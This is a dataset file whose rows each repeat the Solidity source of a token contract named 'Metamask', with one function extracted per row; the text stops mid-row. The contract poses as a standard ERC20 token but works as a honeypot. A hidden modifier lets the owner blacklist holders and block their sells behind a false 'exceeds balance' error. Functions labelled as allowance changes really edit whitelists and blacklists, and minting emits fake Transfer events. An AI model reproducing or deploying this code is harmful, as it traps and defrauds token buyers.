contract_name
stringlengths
1
61
file_path
stringlengths
5
50.4k
contract_address
stringlengths
42
42
language
stringclasses
1 value
class_name
stringlengths
1
61
class_code
stringlengths
4
330k
class_documentation
stringlengths
0
29.1k
class_documentation_type
stringclasses
6 values
func_name
stringlengths
0
62
func_code
stringlengths
1
303k
func_documentation
stringlengths
2
14.9k
func_documentation_type
stringclasses
4 values
compiler_version
stringlengths
15
42
license_type
stringclasses
14 values
swarm_source
stringlengths
0
71
meta
dict
__index_level_0__
int64
0
60.4k
Metamask
Metamask.sol
0x2f5854646497ff426df56c86f134d1f313fe4f90
Solidity
Metamask
contract Metamask is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
decreaseAllowance
function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; }
/** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU LGPLv2.1
ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909
{ "func_code_index": [ 7730, 7878 ] }
1,407
Metamask
Metamask.sol
0x2f5854646497ff426df56c86f134d1f313fe4f90
Solidity
Metamask
contract Metamask is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
addApprove
function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } }
/** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU LGPLv2.1
ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909
{ "func_code_index": [ 8293, 8577 ] }
1,408
Metamask
Metamask.sol
0x2f5854646497ff426df56c86f134d1f313fe4f90
Solidity
Metamask
contract Metamask is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
_transfer
function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); }
